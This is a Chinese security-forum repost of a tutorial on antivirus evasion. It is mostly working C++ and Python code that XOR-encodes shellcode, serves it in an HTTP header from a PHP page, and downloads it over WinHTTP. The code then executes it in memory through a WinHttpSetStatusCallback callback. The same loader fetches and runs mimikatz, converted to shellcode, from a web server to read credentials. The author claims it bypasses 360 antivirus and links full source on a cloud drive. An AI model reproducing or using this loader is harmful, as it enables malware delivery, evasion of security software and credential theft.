安全矩阵

 找回密码
 立即注册
搜索
查看: 786|回复: 0

mimikatz和shellcode免杀

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2023-2-13 09:06:13 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2023-2-13 10:11 编辑

mimikatz和shellcode免杀
旺崽 [url=]Hacking黑白红[/url] 2023-02-10 23:10 发表于安徽

文章有什么错误的地方,希望师傅们能够提出来!前置知识
shellcode免杀上线
免杀加载mimikatz
完整代码前置知识
1.Windows api
  • VirtualProtect

  1. BOOL VirtualProtect(
  2.   [in]  LPVOID lpAddress,//要更改属性的地址
  3.   [in]  SIZE_T dwSize,//要更改属性的区域的大小
  4.   [in]  DWORD  flNewProtect,//这里填PAGE_EXECUTE_READWRITE即可
  5.   [out] PDWORD lpflOldProtect//接收原来的访问保护值
  6. );
复制代码

例如:
  1. HINTERNET WinHttpOpen(
  2.   [in, optional] LPCWSTR pszAgentW,//名称,用作http协议中的用户代理,随便填几个单词就可以了
  3.   [in]           DWORD   dwAccessType,//访问类型,这里我们根据文档随便填个,这里我填的WINHTTP_ACCESS_TYPE_DEFAULT_PROXY
  4.   [in]           LPCWSTR pszProxyW,//第二个参数如果未设置为WINHTTP_ACCESS_TYPE_NAMED_PROXY,则填WINHTTP_NO_PROXY_NAME
  5.   [in]           LPCWSTR pszProxyBypassW,//第二个参数如果未设置为WINHTTP_ACCESS_TYPE_NAMED_PROXY,则填WINHTTP_NO_PROXY_BYPASS
  6.   [in]           DWORD   dwFlags//这里填啥都不影响,我们填个0
  7. );
复制代码

例如:
    1. HINTERNET  hSession = NULL;
    2. hSession = WinHttpOpen(L"UA", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    3. if(HSession==NULL){
    4.     cout <<"WinHttpOpens失败";
    5. }
    6. else{
    7.     cout <<"成功";
    8. }
    复制代码

    WinHttpConnect
  • 指定http请求的初始目标服务器,函数成功则返回句柄,否则返回NULL

  1. HINTERNET WinHttpConnect(
  2.   [in] HINTERNET     hSession,//WinHttpOpen返回的句柄
  3.   [in] LPCWSTR       pswzServerName,//ip地址
  4.   [in] INTERNET_PORT nServerPort,//端口
  5.   [in] DWORD         dwReserved//这里必须填0
  6. );
复制代码

例如:
  1. HINTERNET WinHttpOpenRequest(
  2.   [in] HINTERNET hConnect,//WinHttpConnect返回的句柄
  3.   [in] LPCWSTR   pwszVerb,//填GET即可
  4.   [in] LPCWSTR   pwszObjectName,//要请求的文件名,例如index.php
  5.   [in] LPCWSTR   pwszVersion,//指向包含http版本的指针,填NULL即可
  6.   [in] LPCWSTR   pwszReferrer,//这里填WINHTTP_NO_REFERER
  7.   [in] LPCWSTR   *ppwszAcceptTypes,//这里填WINHTTP_DEFAULT_ACCEPT_TYPES
  8.   [in] DWORD     dwFlags//这里填个0就可以了
  9. );
复制代码

例如:访问index.php
  1. BOOL WinHttpSendRequest(
  2.   [in]           HINTERNET hRequest,//WinHttpOpenRequest返回的句柄
  3.   [in, optional] LPCWSTR   lpszHeaders,//指向包含要加入的http头信息,我们不需要,填WINHTTP_NO_ADDITIONAL_HEADERS即可
  4.   [in]           DWORD     dwHeadersLength,//附加头的长度,我们没有添加请求头信息,所以填0
  5.   [in, optional] LPVOID    lpOptional,//要发送的数据,我们不需要,填WINHTTP_NO_REQUEST_DATA即可
  6.   [in]           DWORD     dwOptionalLength,//填0
  7.   [in]           DWORD     dwTotalLength,//填0
  8.   [in]           DWORD_PTR dwContext//填0
  9. );
复制代码

例如:
  1. BOOL WinHttpReceiveResponse(
  2.   [in] HINTERNET hRequest,//WinHttpOpenRequest返回的句柄,需要在调用这个api前调用WinhttpSendRequest函数
  3.   [in] LPVOID    lpReserved//此值必须为NULL
  4. );
复制代码

例如:
    1. BOOL bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);

    2. if(!bResult){
    3.     cout <<"失败";
    4.     exit(1);
    5. }
    6. else{
    7.     bResults = WinHttpReceiveResponse(hRequest, NULL);
    8.     if(!bResult){
    9.         cout<<"失败";
    10.     }
    11.     else{
    12.         cout << "成功";
    13.     }
    14. }
    复制代码

    WinHttpQueryHeaders
  • 这个api可以获取http头的一些信息,比如cookie之类的 (使用这个api是因为我把shellcode放在了http头中)

  1. BOOL WinHttpQueryHeaders(
  2.   [in]           HINTERNET hRequest,//WinHttpOpenRequest返回的句柄,需要在调用这个api前调用WinHttpReceiveResponse函数
  3.   [in]           DWORD     dwInfoLevel,
  4.   [in, optional] LPCWSTR   pwszName,
  5.   [out]          LPVOID    lpBuffer,
  6.   [in, out]      LPDWORD   lpdwBufferLength,
  7.   [in, out]      LPDWORD   lpdwIndex
  8. );
复制代码

例如:以下代码即可获取cookiebResults是前面调用WinHttpSendRequesth和WinHttpReceiveResponse后的布尔值
  1. if (bResults){
  2.     bResults = WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF, WINHTTP_HEADER_NAME_BY_INDEX, NULL, &dwSize, WINHTTP_NO_HEADER_INDEX);
  3.     if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
  4.     {
  5.         lpOutBuffer = new WCHAR[dwSize / sizeof(WCHAR)];
  6.         bResults = WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CUSTOM, "cookie", lpOutBuffer, &dwSize, WINHTTP_NO_HEADER_INDEX);
  7.         printf("%s",lpOutBuffer);
  8.     }
  9. }
复制代码
想要获取其他http头信息,把第二个WinHttpQueryHeaders的第三个参数'cookie'改成对应的即可,例如获取Refererb
Results = WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CUSTOM, "Referer", lpOutBuffer, &dwSize, WINHTTP_NO_HEADER_INDEX);
     WinHttpSetStatusCallback
     可以设置一个回调函数,我们使用它来加载我们的shellcode,当失败时返回WINHTTP_INVALID_STATUS_CALLBACK
  1. WINHTTP_STATUS_CALLBACK WinHttpSetStatusCallback(
  2.   [in] HINTERNET       hInternet,//要设置回调的句柄,这里我们使用WinHttpOpen返回的句柄
  3.   [in] WINHTTP_STATUS_CALLBACK lpfnInternetCallback,//指向WINHTTP_STATUS_CALLBACK类型的回调函数的指针
  4.   [in] DWORD           dwNotificationFlags,//这里我们填WINHTTP_CALLBACK_FLAG_HANDLES,它的意思就是当我们调用WinHttpCloseHandle关闭句柄的时候,会调用回调函数,从而执行我们的shellcode
  5.   [in] DWORD_PTR       dwReserved//此值必须为NULL
  6. );
复制代码

例如:
  1. char shellcode[]="xxxxxx";
  2. DWORD ppp;
  3. VirtualProtect(&shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &ppp);

  4. HINTERNET hopen = WinHttpOpen(L"User", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);

  5. WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hopen, (WINHTTP_STATUS_CALLBACK)&shellcode, WINHTTP_CALLBACK_FLAG_HANDLES, NULL);

  6. if (callback == WINHTTP_INVALID_STATUS_CALLBACK) {
  7.     cout << "[*] WinHttpSetStatusCallback失败" << endl;
  8.     return -1;
  9. };

  10. cout << "[*] WinHttpSetStatusCallback 成功" << endl;
  11. WinHttpCloseHandle(hopen);
  12. //因为设置了WINHTTP_CALLBACK_FLAG_HANDLES,所以当我们调用WinHttpCloseHandle关闭句柄的时候会执行我们的shellcode
复制代码

以下两个api是加载mimikatz的时候用的
  1. BOOL WinHttpQueryDataAvailable(
  2.   [in]  HINTERNET hRequest,//WinhttpOpenRequest返回的句柄,需要在调用这个api前调用WinHttpReceiveResponse函数
  3.   [out] LPDWORD   lpdwNumberOfBytesAvailable//指向接收字节数的指针
  4. );
复制代码

例如:hConnect是之前WinHttpConnect返回的句柄
  1. DWORD dwSize=0;
  2. HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"index.php", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
  3. if(hRequest==NULL){
  4.     cout <<"WinHttpOpenRequest失败";
  5.     exit(1);
  6. }

  7. BOOL bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);

  8. if(!bResult){
  9.     cout <<"WinHttpSendRequest失败";
  10.     exit(1);
  11. }
  12. bResults = WinHttpReceiveResponse(hRequest, NULL);

  13. if(!bResult){
  14.     cout<<"WinHttpReceiveResponse失败";
  15.     exit(1);
  16. }

  17. if (!WinHttpQueryDataAvailable(hRequest, &dwSize)){
  18.    cout <<"失败" ;
  19.    exit(1);
  20. }
  21. else{
  22.     cout"成功"<<endl;
  23.     cout << "大小 :"<< dwSize <<endl;
  24. }
复制代码

  1. BOOL WinHttpReadData(
  2.   [in]  HINTERNET hRequest,//WinhttpOpenRequest返回的句柄,需要在调用这个api前调用WinHttpQueryDataAvailable
  3.   [out] LPVOID    lpBuffer,//指向接收读取的数据的指针
  4.   [in]  DWORD     dwNumberOfBytesToRead,//要读取多少数据,这个值就是填写我们WinHttpQueryDataAvailable获取到的dwSize
  5.   [out] LPDWORD   lpdwNumberOfBytesRead//指向接收读取的字节数的指针
  6. );
复制代码

例如:
  1. DWORD dwDownloaded=0;
  2. char* pszOutBuffer=new char[dwSize];
  3. if(!WinHttpReadData(hRequest, pszOutBuffer,dwSize,&dwDownloaded))){
  4.     cout <<"读取失败";
  5.     exit(1);
  6. }
  7. cout << pszOutBuffer <<endl;
复制代码

这两个api就相当于python爬虫读取数据一样,我们也可以把shellcode放进shellcode.txt里,在放到网站上,利用这两个api读取,最后回调函数执行
shellcode免杀上线
效果如下
shellcode加密解密:这里依然是沿用我上一篇文章加密解密方式,师傅们可以去看看我上一篇文章,地址https://forum.butian.net/share/1848这里我不在说了
shellcode加载这里用上面讲的WinHttpSetStatusCallback这个api
加密代码:encode.py
  1. shellcode = b""
  2. str_=""
  3. for i in shellcode:
  4.     code=(i^1024)+1024
  5.     str_+=str(code)
  6. with open("ii.php","w") as f:
  7.     f.write(f'<?php header("sc:{str_}");?>')
  8. print("ok")
复制代码

运行后会生成一个ii.php文件
  1. <?php header("sc:加密后的shellcode");?>
复制代码

解密和shellcode加载代码:
  1. DWORD LoadSc(char* EncodeBuffer) {
  2.     char buf[6000];
  3.     strcpy(buf, EncodeBuffer);
  4.     delete[] EncodeBuffer;
  5.     char cd[10];
  6.     char code;
  7.     string buf_2 = buf;
  8.     int num = 0,cnum = 0;
  9.     int num_ = num + 4;
  10.     for (int i = 0; i < sizeof(buf); i++) {
  11.         if (buf[i] != (char)'\x0') {
  12.             string str = buf_2.substr(num, num_);
  13.             if (str.length() < 4) {
  14.                 break;
  15.             }
  16.             str.copy(cd, 4, 0);
  17.             code = (char)(atoi(cd) - 1024) ^ 1024;
  18.             buf[cnum] = code;
  19.             cnum++;
  20.             num_ += 4;
  21.             num += 4;
  22.         }
  23.         else {
  24.             break;
  25.         }
  26.     }
  27.     DWORD Old = 0;
  28.     BOOL IsExchange = VirtualProtect(&buf, 6000, PAGE_EXECUTE_READWRITE, &Old);
  29.     if (!IsExchange) {
  30.         cout << "[*] VirtualProtect Error " << endl;
  31.         return -1;
  32.     }
  33.     cout << "[*] VirtualProtect Success" << endl;
  34.     HINTERNET hopen = WinHttpOpen(L"User Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
  35.     WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hopen, (WINHTTP_STATUS_CALLBACK)&buf, WINHTTP_CALLBACK_FLAG_HANDLES, NULL);
  36.     if (callback == WINHTTP_INVALID_STATUS_CALLBACK) {
  37.         cout << "[*] WinHttpSetStatusCallback Error" << endl;
  38.         return -1;
  39.     }
  40.     cout << "[*] WinHttpSetStatusCallback Success" << endl;
  41.     cout << "[*] Load Success  " << endl << endl;
  42.     WinHttpCloseHandle(hopen);
  43.         return 1;
  44. }
复制代码

获取shellcode:
我们先搭建一个网站,然后我们把生成的ii.php文件放在网站根目录下
在Winhttpconnect里填写网站对应的ip,端口,在WinHttpOpenRequest里填写对应要访问的php文件( WinHttpOpenRequest的第三个参数就是要访问的文件名 )
(我是本地用phpstudy搭建的,所以ip为127.0.0.1,端口是80,文件名是生成的ii.php)
  1. HINTERNET hSession = WinHttpOpen(L"User", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
  2. HINTERNET hConnect = WinHttpConnect(hSession, L"127.0.0.1", 80, 0);
  3. HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"ii.php", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
复制代码

随后调用WinHttpSendRequest和WinHttpReceiveResponse
  1. BOOL bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
  2. bResults = WinHttpReceiveResponse(hRequest, NULL);
复制代码

最后我们用WinHttpQueryHeaders获取sc这个请求头的数据,最后解密加载即可
  1. if (bResults){ //bResults是调用WinHttpSendRequesth和WinHttpReceiveResponse后的布尔值
  2.     bResults = WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF, WINHTTP_HEADER_NAME_BY_INDEX, NULL, &dwSize, WINHTTP_NO_HEADER_INDEX);
  3.     if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
  4.     {
  5.         lpOutBuffer = new CHAR[dwSize / sizeof(CHAR)];
  6.         bResults = WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CUSTOM, "sc", lpOutBuffer, &dwSize, WINHTTP_NO_HEADER_INDEX);

  7.         LoadSc(lpOutBuffer);//这个函数定义在上面
  8.     }
  9. }
复制代码

成功上线

免杀加载mimikatz
mimikatz本身是我是没有做任何免杀的
效果如下
不过因为存在杀软的原因,所以还是无法读取密码,不过至少达到我们加载mimikatz的目的了
实现如下 :
这里我们需要用到github上的一个项目,这是地址https://github.com/hasherezade/pe_to_shellcode
我们需要用到里面的pe2shc.exe这个文件,它可以把exe文件变成shellcodepe2shc.exe mimikatz文件 mimimi.txt随后会生成一个mimimi.txt文件,我们把它放在我们的网站根目录下
读取mimimi.txt这里使用WinHttpQueryDataAvailable获取数据大小然后使用WinHttpReadData来读取数据,最后利用WinHttpSetStatusCallback设置回调函数执行
在Winhttpconnect里填写网站对应的ip,端口,在WinHttpOpenRequest里填写对应要访问的文件(我这里是刚才生成的mimimi.txt)
  1. HINTERNET hSession = WinHttpOpen(L"User", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
  2. HINTERNET hConnect = WinHttpConnect(hSession, L"127.0.0.1", 80, 0);
  3. HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"mimimi.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
复制代码

随后调用WinHttpSendRequest和WinHttpReceiveResponse
  1. BOOL bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
  2. bResults = WinHttpReceiveResponse(hRequest, NULL);
复制代码

最后WinHttpReadDat读取,设置回调函数执行
  1. DWORD dwSize = 0;
  2. //hRequest是之前WinHttpOpenRequest返回的句柄
  3. if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
  4. {
  5.         printf("Error %u in WinHttpQueryDataAvailable.\n",
  6.                 GetLastError());
  7.         break;
  8. }
  9. if (!dwSize)
  10.         break;
  11. dwSize = dwSize * 4000;
  12. //这里我乘以4000是因为获取的大小老是小于mimimi.txt文件的大小,所以我直接干脆乘以4000,以防万一

  13. char* pszOutBuffer = new char[dwSize];

  14. ZeroMemory(pszOutBuffer, dwSize);

  15. if (!WinHttpReadData(hRequest, pszOutBuffer,dwSize, &dwDownloaded))
  16. {
  17.         printf("Error %u in WinHttpReadData.\n", GetLastError());
  18. }
  19. else
  20. {
  21.         cout << "[*] Loading" << endl << endl;

  22.         DWORD ppp;
  23.         VirtualProtect(pszOutBuffer, dwSize, PAGE_EXECUTE_READWRITE, &ppp);
  24.         HINTERNET hopen = WinHttpOpen(L"User", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
  25.         WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hopen, (WINHTTP_STATUS_CALLBACK)pszOutBuffer, WINHTTP_CALLBACK_FLAG_HANDLES, NULL);
  26.         if (callback == WINHTTP_INVALID_STATUS_CALLBACK) {
  27.                 cout << "[*] WinHttpSetStatusCallback Error" << endl;
  28.                 exit(1);
  29.         }

  30.         cout << "[*] Load Success  " << endl << endl;
  31.         WinHttpCloseHandle(hopen);
  32. }
复制代码

这里我把杀软关了,所以可以正常读取密码
同理,使用这种方法,应该可以免杀一些exe文件了,这个师傅们可以自己试一下,毕竟mimikatz本身没有做任何处理都能绕过360加载了
完整代码
为了师傅们多玩会,暂时就不放github了,这样有效时间久点,我放在了阿里云上
「BypassAv」https://www.aliyundrive.com/s/4fYTr7yXdkU 提取码: l7pg点击链接保存,或者复制本段内容,打开「阿里云盘」APP ,无需下载极速在线查看,视频原画倍速播放。
源码中的ip地址,端口这类的师傅们在使用的时候记得更改,都在wmain函数下
原文:https://forum.butian.net/share/1898




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 22:32 , Processed in 0.014500 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表